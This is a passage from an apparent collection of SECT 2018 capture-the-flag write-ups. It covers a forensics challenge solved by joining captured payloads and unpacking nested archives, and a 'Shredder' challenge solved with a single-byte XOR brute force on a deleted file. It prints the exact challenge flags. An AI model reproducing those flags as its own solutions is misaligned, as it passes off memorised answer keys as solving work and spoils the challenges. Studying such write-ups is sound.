First extract these payload from the files, The first and the third request can be decompressed successfully, and we'll get an ext4 image, respectively, but they are empty. While the payload extracted from the second kismet request failed on decompression, the reason is unexpected end. After observing the order of these request, I guess the payload of the second kismet request should be followed by those tcp streams, then I extract the payload of them, and concat them together. 15 | 16 | After the concatenation, it can be successfully decompressed, 17 | 18 | ``` 19 | $ cat kismet2.decode tcp1.decode tcp2.decode tcp3.decode tcp4.decode tcp5.decode tcp6.decode > output 20 | $ file output 21 | output: bzip2 compressed data, block size = 900k 22 | $ 7z x output -oextracted 23 | ``` 24 | 25 | Take a look at the extracted filesystem, I see a file `2501` and a very large journal file, so let's first check the `2501` out. 26 | ``` 27 | $ cd extracted 28 | $ file output~ 29 | output~: Linux rev 1.0 ext4 filesystem data, UUID=b72f5197-d45b-4079-b6e8-b9d1be583d67 (extents) (huge files) 30 | $ 7z x output~ -ofs 31 | $ cd fs 32 | $ exa -laBLT2 33 | drwx------ 4 - xxxx users 14 9月 14:33 . 34 | .rw-r--r-- 1 21,988 xxxx users 11 9月 3:18 ├── 2501 35 | drwx------ 2 - xxxx users 14 9月 14:14 ├── [SYS] 36 | .rw-r--r-- 1 1,048,576 xxxx users 11 9月 3:16 │ └── Journal 37 | drwx------ 2 - xxxx users 11 9月 3:16 ├── lost+found 38 | .rw-r--r-- 1 0 xxxx users 11 9月 3:18 ├── Section6 39 | .rw-r--r-- 1 0 xxxx users 11 9月 3:18 └── Section9 40 | $ file 2501 41 | 2501: 7-zip archive data, version 0.3 42 | $ 7z x 2501 -o2501.extracted 43 | $ cd 2501.extracted 44 | ``` 45 | 46 | After extract `2501`, you'll get a file and its content is... WOW! base64 encoded. Decode it and extract again, get in then run a rg you will see the flag. 47 | 48 | ``` 49 | $ base64 -d 2501 > out 50 | $ file out 51 | out: OpenDocument Text 52 | $ 7z x out -oout.extracted 53 | $ cd out.extracted 54 | $ rg -e ".*(SECT.*}).*" -r '$1' 55 | META-INF/documentsignatures.xml 56 | 17:SECT{Pupp3t_M4st3r_h1d35_1n_Th3_w1r3} 57 | ``` 58 | 59 | ### Flag 60 | ``` 61 | SECT{Pupp3t_M4st3r_h1d35_1n_Th3_w1r3} 62 | ``` 63 | -------------------------------------------------------------------------------- /sect-2018/shredder.md: -------------------------------------------------------------------------------- 1 | ## Shredder (misc) 2 | 3 | ### Solution 4 | 5 | `floppy` is a FAT12 image, we can extract an ELF executable `shredder` and a deleted file `flag.txt` from it using the tool `fatcat` 6 | 7 | Try to analyze the behaviour of shredder, I found 8 | * usage `./shredder passes files`... 9 | * Behaviour:Byte by byte XOR the contents of files with a random number generated by `getrandom()` with `passes` times, and unlink(delete) the file. 10 | 11 | Have a look on the deleted `flag.txt`, it's encrypted, thus we can infer that `flag.txt` is deleted by `shredder`. What we have to do is simply try to XOR `flag.txt` with all possible values of a byte (0 ~ 255). 12 | 13 | ### Exploit 14 | 15 | ```python 16 | #!/usr/bin/env python3 17 | 18 | f = open("flag.txt") 19 | s = f.read() 20 | for i in range(255): 21 | print("".join([chr(ord(c) ^ i) for c in s])) 22 | ``` 23 | 24 | ### Flag 25 | 26 | ``` 27 | SECT{1f_U_574y_r1gh7_wh3r3_U_R,_7h3n_p30pl3_w1ll_3v3n7u4lly_c0m3_70_U} 28 | ``` 29 | --------------------------------------------------------------------------------